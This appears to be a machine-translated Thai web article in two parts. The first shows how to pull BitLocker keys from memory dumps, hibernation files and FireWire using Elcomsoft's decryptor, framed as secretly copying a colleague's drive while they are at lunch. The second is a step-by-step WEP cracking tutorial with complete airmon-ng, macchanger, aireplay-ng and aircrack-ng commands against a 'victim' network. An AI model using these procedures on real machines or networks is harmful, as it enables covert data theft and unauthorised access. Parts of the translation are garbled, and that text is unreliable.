หากต้องการค้นหาคีย์การกู้คืนอย่างรวดเร็ว เป็นการสะดวกที่จะจำกัดการค้นหาตามนามสกุล (txt) วันที่สร้าง (หากคุณทราบเมื่อประมาณว่า BitLocker สามารถเปิดใช้งานได้โดยประมาณ) และขนาดไฟล์ (1388 ไบต์หากไฟล์ยังไม่ได้รับการแก้ไข) . เมื่อคุณพบคีย์การกู้คืนแล้ว ให้คัดลอก คุณสามารถเลี่ยงการอนุญาตมาตรฐานใน BitLocker ได้ทุกเมื่อ ในการดำเนินการนี้ เพียงกด Esc แล้วป้อนคีย์การกู้คืน คุณจะเข้าสู่ระบบได้โดยไม่มีปัญหาและยังสามารถเปลี่ยนรหัสผ่านใน BitLocker ให้เป็นรหัสผ่านได้ตามต้องการโดยไม่ต้องระบุรหัสผ่านเก่า!

กำลังเปิด BitLocker

จริง การเข้ารหัสระบบเป็นการประนีประนอมระหว่างความสะดวก ความเร็ว และความน่าเชื่อถือ ควรมีขั้นตอนสำหรับการเข้ารหัสที่โปร่งใสพร้อมการถอดรหัสแบบทันที วิธีการกู้คืนรหัสผ่านที่ลืม และการทำงานที่สะดวกสบายกับคีย์ ทั้งหมดนี้ทำให้ระบบอ่อนแอลง ไม่ว่าจะใช้อัลกอริธึมที่แข็งแกร่งเพียงใด จึงไม่ต้องหาจุดอ่อน โดยตรงในอัลกอริทึม Rijndael หรือในรูปแบบต่างๆ ของมาตรฐาน AES ง่ายกว่ามากในการค้นหาเฉพาะในการใช้งานเฉพาะ

ในกรณีของ Microsoft "ความจำเพาะ" นี้ก็เพียงพอแล้ว ตัวอย่างเช่น ตามค่าเริ่มต้น สำเนาของคีย์ BitLocker จะถูกส่งไปยัง SkyDrive และเก็บไว้ใน Active Directory

แล้วถ้าคุณทำหายล่ะ... หรือเจ้าหน้าที่สมิธถาม ไม่สะดวกที่จะทำให้ลูกค้ารอและยิ่งทำให้ตัวแทน ด้วยเหตุนี้ การเปรียบเทียบ ความแข็งแกร่งของการเข้ารหัส AES-XTS และ AES-CBC พร้อม Elephant Diffuser จางลงในพื้นหลัง เช่นเดียวกับคำแนะนำในการเพิ่มความยาวของคีย์ นานแค่ไหนก็โดนโจมตีเข้าง่ายๆ ไม่ได้เข้ารหัสแบบฟอร์ม .

การดึงคีย์ที่ฝากจากบัญชี Microsoft หรือ AD เป็นวิธีหลักในการทำลาย BitLocker หากผู้ใช้ไม่ได้ลงทะเบียนบัญชีในระบบคลาวด์ของ Microsoft และคอมพิวเตอร์ของเขาไม่ได้อยู่ในโดเมน จะยังมีวิธีในการดึงคีย์การเข้ารหัส ในระหว่างการทำงานปกติ สำเนาที่เปิดอยู่จะถูกเก็บไว้ใน RAM เสมอ (ไม่เช่นนั้นจะไม่มี "การเข้ารหัสที่โปร่งใส") ซึ่งหมายความว่ามีอยู่ในไฟล์ดัมพ์และไฮเบอร์เนตของเธอ

ทำไมพวกเขาถึงเก็บไว้ที่นั่นเลย?

เป็นเรื่องน่าขัน - เพื่อความสะดวก ยิ้มเข้าไว้ BitLocker ได้รับการออกแบบมาเพื่อป้องกันการโจมตีแบบออฟไลน์เท่านั้น พวกเขาจะมาพร้อมกับการรีบูตและเชื่อมต่อดิสก์กับระบบปฏิบัติการอื่นเสมอซึ่งนำไปสู่การล้าง RAM อย่างไรก็ตาม ในการตั้งค่าเริ่มต้น ระบบปฏิบัติการจะทิ้ง RAM เมื่อเกิดความล้มเหลว (ซึ่งสามารถกระตุ้นได้) และเขียนเนื้อหาทั้งหมดลงในไฟล์ไฮเบอร์เนตทุกครั้งที่คอมพิวเตอร์เข้าสู่โหมดพักการทำงานลึก ดังนั้น หากคุณเพิ่งลงชื่อเข้าใช้ Windows โดยเปิดใช้งาน BitLocker มีโอกาสดีที่คุณจะได้รับสำเนา VMK ที่ถอดรหัสแล้วและใช้เพื่อถอดรหัส FVEK และจากนั้นข้อมูลจะอยู่ในห่วงโซ่

มาเช็คกัน? วิธีการแฮ็ก BitLocker ทั้งหมดที่อธิบายข้างต้นถูกรวบรวมไว้ในโปรแกรมเดียว - Forensic Disk Decryptor ซึ่งพัฒนาโดยบริษัทในประเทศ Elcomsoft มันสามารถแยกคีย์การเข้ารหัสโดยอัตโนมัติและติดตั้งโวลุ่มที่เข้ารหัสเป็นไดรฟ์เสมือน ถอดรหัสได้ทันที

นอกจากนี้ EFDD ยังใช้วิธีการรับกุญแจอีกวิธีที่ไม่ยุ่งยาก โดยการโจมตีผ่านพอร์ต FireWire ซึ่งแนะนำให้ใช้ในกรณีที่ไม่สามารถเรียกใช้ซอฟต์แวร์บนคอมพิวเตอร์ของคุณภายใต้การโจมตี เราติดตั้งโปรแกรม EFDD เองบนคอมพิวเตอร์ของเราเสมอ และในโปรแกรมที่ถูกแฮ็ก เราพยายามจัดการด้วยการดำเนินการที่จำเป็นขั้นต่ำ

ตัวอย่างเช่น ลองใช้ระบบทดสอบโดยที่ BitLocker ทำงานอยู่และ "ล่องหน" ทำการดัมพ์หน่วยความจำ ดังนั้นเราจะจำลองสถานการณ์ที่เพื่อนร่วมงานออกไปทานอาหารกลางวันและไม่ได้ล็อกคอมพิวเตอร์ เราเปิดใช้ RAM Capture และในเวลาไม่ถึงนาที เราก็จะได้รับการถ่ายโอนข้อมูลทั้งหมดในไฟล์ที่มีนามสกุล .mem และขนาดที่สอดคล้องกับจำนวน RAM ที่ติดตั้งในคอมพิวเตอร์ของเหยื่อ

กว่าจะทำการถ่ายโอนข้อมูล - โดยและขนาดใหญ่โดยไม่มีความแตกต่าง ไฟล์นี้จะกลายเป็นไฟล์ไบนารีโดยไม่คำนึงถึงส่วนขยาย จากนั้น EFDD จะวิเคราะห์โดยอัตโนมัติในการค้นหาคีย์

เราเขียนการถ่ายโอนข้อมูลไปยังแฟลชไดรฟ์ USB หรือถ่ายโอนผ่านเครือข่าย หลังจากนั้นเรานั่งที่คอมพิวเตอร์ของเราและเรียกใช้ EFDD

เลือกตัวเลือก "แยกคีย์" และป้อนเส้นทางไปยังไฟล์ที่มีการถ่ายโอนข้อมูลหน่วยความจำเป็นแหล่งที่มาของคีย์

BitLocker เป็นคอนเทนเนอร์เข้ารหัสลับทั่วไป เช่น PGP Disk หรือ TrueCrypt คอนเทนเนอร์เหล่านี้กลับกลายเป็นว่าค่อนข้างเชื่อถือได้ในตัวเอง แต่แอปพลิเคชันไคลเอนต์สำหรับการทำงานกับพวกเขาภายใต้คีย์การเข้ารหัสลับของ Windows ใน RAM ดังนั้น สถานการณ์การโจมตีสากลจึงถูกนำมาใช้ใน EFDD โปรแกรมค้นหาคีย์เข้ารหัสจากคอนเทนเนอร์เข้ารหัสยอดนิยมทั้งสามประเภททันที ดังนั้นคุณสามารถตรวจสอบรายการทั้งหมดได้ - ถ้าเหยื่อแอบใช้หรือ PGP!

หลังจากนั้นไม่กี่วินาที Elcomsoft Forensic Disk Decryptor จะแสดงคีย์ทั้งหมดที่พบในหน้าต่าง เพื่อความสะดวก สามารถบันทึกลงในไฟล์ได้ ซึ่งจะเป็นประโยชน์ในอนาคต

ตอนนี้ BitLocker ไม่เป็นอุปสรรคอีกต่อไป! คุณสามารถโจมตีออฟไลน์แบบคลาสสิกได้ ตัวอย่างเช่น ดึงฮาร์ดไดรฟ์ออกมาแล้วคัดลอกเนื้อหา ในการดำเนินการนี้ เพียงเชื่อมต่อกับคอมพิวเตอร์ของคุณและเรียกใช้ EFDD ในโหมด "ถอดรหัสหรือเมานต์ดิสก์"

หลังจากระบุพาธไปยังไฟล์ด้วยคีย์ที่บันทึกไว้แล้ว EFDD ที่คุณเลือกจะทำการถอดรหัสโวลุ่มทั้งหมดหรือเปิดเป็นดิสก์เสมือนทันที ในกรณีหลัง ไฟล์จะถูกถอดรหัสเมื่อมีการเข้าถึง ไม่ว่าจะด้วยวิธีใด โวลุ่มเดิมจะไม่มีการเปลี่ยนแปลง คุณจึงสามารถส่งคืนได้ในวันถัดไปราวกับว่าไม่มีอะไรเกิดขึ้น การทำงานกับ EFDD เกิดขึ้นอย่างไร้ร่องรอยและมีเพียงสำเนาของข้อมูลเท่านั้น ดังนั้นจึงไม่ปรากฏให้เห็น

BitLocker To Go

เริ่มต้นด้วย "เจ็ด" ใน Windows เป็นไปได้ที่จะเข้ารหัสแฟลชไดรฟ์ USB-HDD และสื่อภายนอกอื่น ๆ เทคโนโลยีที่เรียกว่า BitLocker To Go จะเข้ารหัสไดรฟ์แบบถอดได้ในลักษณะเดียวกับไดรฟ์ในเครื่อง การเข้ารหัสเปิดใช้งานโดยรายการที่เกี่ยวข้องในเมนูบริบทของ Explorer

สำหรับไดรฟ์ใหม่ คุณสามารถใช้การเข้ารหัสเฉพาะพื้นที่ที่ถูกครอบครอง - เช่นเดียวกัน พื้นที่ว่างของพาร์ติชันเต็มไปด้วยศูนย์และไม่มีอะไรต้องซ่อนอยู่ที่นั่น หากมีการใช้ไดรฟ์แล้ว ขอแนะนำให้เปิดใช้งานการเข้ารหัสแบบเต็ม มิฉะนั้น ตำแหน่งที่ทำเครื่องหมายว่าว่างจะไม่ถูกเข้ารหัส อาจมีไฟล์ข้อความธรรมดาที่เพิ่งลบไปซึ่งยังไม่ได้เขียนทับ

แม้แต่การเข้ารหัสที่รวดเร็วเฉพาะในพื้นที่ที่วุ่นวายก็ใช้เวลาหลายนาทีถึงหลายชั่วโมง เวลานี้ขึ้นอยู่กับปริมาณข้อมูล แบนด์วิดท์ของอินเทอร์เฟซ ลักษณะของไดรฟ์ และความเร็วของการคำนวณการเข้ารหัสของโปรเซสเซอร์ เนื่องจากการเข้ารหัสมาพร้อมกับการบีบอัด พื้นที่ว่างบนดิสก์ที่เข้ารหัสมักจะเพิ่มขึ้นเล็กน้อย

ครั้งต่อไปที่คุณเชื่อมต่อแฟลชไดรฟ์เข้ารหัสกับคอมพิวเตอร์ที่ใช้ Windows 7 หรือใหม่กว่า วิซาร์ด BitLocker จะเปิดขึ้นโดยอัตโนมัติเพื่อปลดล็อกไดรฟ์ ใน Explorer ก่อนปลดล็อก จะแสดงเป็นดิสก์ที่ถูกล็อก

คุณสามารถใช้ทั้งวิธีแก้ปัญหา BitLocker ที่กล่าวถึงแล้ว (เช่น ค้นหาคีย์ VMK ในการถ่ายโอนข้อมูลหน่วยความจำหรือไฟล์ไฮเบอร์เนต) และวิธีใหม่ที่เกี่ยวข้องกับคีย์การกู้คืน

หากคุณไม่ทราบรหัสผ่าน แต่คุณสามารถค้นหาคีย์ใดคีย์หนึ่งได้ (ด้วยตนเองหรือใช้ EFDD) แสดงว่ามีสองตัวเลือกหลักสำหรับการเข้าถึงแฟลชไดรฟ์ที่เข้ารหัส:

  • ใช้ตัวช่วยสร้าง BitLocker ในตัวเพื่อทำงานโดยตรงกับแฟลชไดรฟ์
  • ใช้ EFDD เพื่อถอดรหัสแฟลชไดรฟ์อย่างสมบูรณ์และสร้างภาพทีละส่วน

ตัวเลือกแรกช่วยให้คุณเข้าถึงไฟล์ที่บันทึกไว้ในแฟลชไดรฟ์ได้ทันที คัดลอกหรือเปลี่ยนแปลงไฟล์ และเบิร์นไฟล์ของคุณเอง ตัวเลือกที่สองใช้เวลานานกว่ามาก (จากครึ่งชั่วโมง) แต่มีข้อดี ภาพที่ถอดรหัสทีละส่วนช่วยให้คุณสามารถทำการวิเคราะห์ระบบไฟล์ที่ละเอียดยิ่งขึ้นในระดับห้องปฏิบัติการทางนิติเวชได้ ในกรณีนี้ ไม่จำเป็นต้องใช้แฟลชไดรฟ์อีกต่อไปและสามารถส่งคืนได้โดยไม่มีการเปลี่ยนแปลง

ภาพที่ได้สามารถเปิดได้ทันทีในโปรแกรมใดๆ ที่รองรับรูปแบบ IMA หรือแปลงเป็นรูปแบบอื่นก่อน (เช่น ใช้ UltraISO)

แน่นอน นอกจากการค้นหาคีย์การกู้คืนสำหรับ BitLocker2Go แล้ว วิธีบายพาส BitLocker อื่นๆ ทั้งหมดยังได้รับการสนับสนุนใน EFDD เพียงทำซ้ำผ่านตัวเลือกทั้งหมดที่มีในแถวจนกว่าคุณจะพบคีย์ประเภทใดก็ได้ ส่วนที่เหลือ (สูงสุด FVEK) จะถูกถอดรหัสด้วยตัวเองตลอดสาย และคุณจะสามารถเข้าถึงดิสก์ได้อย่างเต็มที่

บทสรุป

เทคโนโลยีการเข้ารหัสดิสก์แบบเต็มของ BitLocker จะแตกต่างกันไปตามเวอร์ชันของ Windows เมื่อกำหนดค่าอย่างถูกต้องแล้ว จะช่วยให้คุณสร้างคอนเทนเนอร์เข้ารหัสที่เทียบเคียงได้กับ TrueCrypt หรือ PGP ในทางทฤษฎี อย่างไรก็ตาม กลไกในตัวสำหรับการทำงานกับคีย์ใน Windows จะลบล้างกลอุบายของอัลกอริธึมทั้งหมด โดยเฉพาะอย่างยิ่ง คีย์ VMK ที่ใช้ในการถอดรหัสมาสเตอร์คีย์ใน BitLocker จะได้รับการกู้คืนโดยใช้ EFDD ภายในไม่กี่วินาทีจากสำเนาที่เก็บไว้ ดัมพ์หน่วยความจำ ไฟล์ไฮเบอร์เนต หรือการโจมตีพอร์ต FireWire

เมื่อคุณมีคีย์แล้ว คุณสามารถทำการโจมตีแบบออฟไลน์แบบคลาสสิก คัดลอกอย่างลับๆ และถอดรหัสข้อมูลทั้งหมดบนไดรฟ์ที่ "มีการป้องกัน" โดยอัตโนมัติ ดังนั้นควรใช้ BitLocker ร่วมกับการป้องกันอื่นๆ เท่านั้น: Encrypting File System (EFS), Rights Management Services (RMS), Program Startup Control, Device Installation and Connection Control และนโยบายท้องถิ่นที่เข้มงวดยิ่งขึ้นและมาตรการรักษาความปลอดภัยทั่วไป

บทความใช้วัสดุของเว็บไซต์:

จะแฮ็ค wifi ได้อย่างไร? พวกเราหลายคนเคยได้ยินมาว่าเมื่อตั้งค่า Wi-Fi hotspot คุณไม่ควรเลือกการเข้ารหัส WEP เนื่องจากง่ายต่อการถอดรหัส อาจมีเพียงไม่กี่คนที่พยายามทำมันด้วยตัวเองและในจำนวนเดียวกันเท่านั้นที่รู้ว่าทั้งหมดเป็นอย่างไร ด้านล่างนี้คือรูปแบบหนึ่งของการแฮ็กจุดต่างๆ ด้วยโปรโตคอลการเข้ารหัส เพื่อให้คุณเข้าใจได้ชัดเจนยิ่งขึ้นว่าสถานการณ์จริงเป็นอย่างไรเมื่อมีคนเชื่อมต่อกับจุดลับสุดยอดของคุณ และการแฮ็กนั้นเกี่ยวกับอะไร โดยธรรมชาติแล้ว เป็นไปไม่ได้เลยที่จะใช้สิ่งนี้กับเราเตอร์ของคนอื่น เนื้อหานี้มีวัตถุประสงค์เพื่อให้ข้อมูลเท่านั้นและเรียกร้องให้ละทิ้งโปรโตคอลการเข้ารหัสที่ถอดรหัสได้ง่าย

ในการแฮ็ก ผู้โจมตีจะต้อง:

  • อะแดปเตอร์ Wi-Fi ที่เหมาะสมพร้อมความสามารถในการฉีดแพ็คเก็ต (เช่น Alfa AWUS036H)
  • BackTrack Live CD
  • อันที่จริงจุดเชื่อมต่อ Wi-Fi ของคุณด้วยการเข้ารหัส WEP ซึ่งการทดสอบจะถูกตั้งค่า
  • ความอดทน

หลังจากเรียกใช้บรรทัดคำสั่ง BackTrack ชื่อ Konsole คุณต้องป้อนคำสั่งต่อไปนี้:

คุณจะเห็นอินเทอร์เฟซเครือข่ายของคุณชื่อ "ra0" หรืออะไรทำนองนั้น จำชื่อนี้ไว้ ในอนาคตจะเรียกว่า (อินเทอร์เฟซ) และคุณแทนที่ด้วยชื่อของคุณ ถัดไป ป้อน 4 บรรทัดตามลำดับ:

airmon-ng หยุด (อินเทอร์เฟซ)
ifconfig (อินเทอร์เฟซ) ลง
macchanger --mac 00:11:22:33:44:55 (อินเทอร์เฟซ)
airmon-ng start (อินเทอร์เฟซ)

ตอนนี้เรามีที่อยู่ MAC ปลอมแล้ว เข้า:

airodump-ng (อินเทอร์เฟซ)

รายการเครือข่ายไร้สายที่พร้อมใช้งานจะเริ่มปรากฏขึ้น ทันทีที่เครือข่ายที่ต้องการปรากฏในรายการ คุณสามารถกด Ctrl + C เพื่อหยุดการค้นหา คุณต้องคัดลอก BSSID ของเครือข่ายและจำช่องสัญญาณ (คอลัมน์ CH) ตรวจสอบให้แน่ใจด้วยว่า WEP อยู่ในคอลัมน์ ENC

ตอนนี้เราเริ่มรวบรวมข้อมูลจากตารางนี้:

airodump-ng -c (ช่อง) -w (ชื่อไฟล์) --bssid (bssid) (อินเทอร์เฟซ)

channel คือช่องสัญญาณจากคอลัมน์ CH ชื่อไฟล์คือชื่อของไฟล์ที่จะเขียนทุกอย่าง และ bssid เป็นตัวระบุเครือข่าย

คุณจะเห็นสิ่งที่คล้ายกับที่แสดงในภาพหน้าจอ ปล่อยให้หน้าต่างนี้เหมือนเดิม เปิดหน้าต่าง Konsole ใหม่และพิมพ์:

aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (อินเทอร์เฟซ)

essid - ชื่อ SSID ของเครือข่ายเหยื่อ

เรากำลังรอข้อความ "สมาคมสำเร็จ"

aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (อินเทอร์เฟซ)

ตอนนี้ คุณต้องแสดงความอดทนทั้งหมดของคุณและรอจนกว่าตัวเลขในคอลัมน์ #Data จะผ่านเครื่องหมาย 10000

เมื่อถึงจำนวนข้อมูลที่รวบรวมตามที่ต้องการแล้ว ให้เปิดหน้าต่าง Konsole ที่สามแล้วป้อน:

aircrack-ng -b (bssid) (ชื่อไฟล์-01.cap)

ชื่อที่คุณเลือกก่อนหน้านี้สำหรับไฟล์จะถูกป้อนเป็นชื่อ

หากสำเร็จ คุณจะเห็นบรรทัด "KEY FOUND" ซึ่งมีคีย์ไปยังเครือข่าย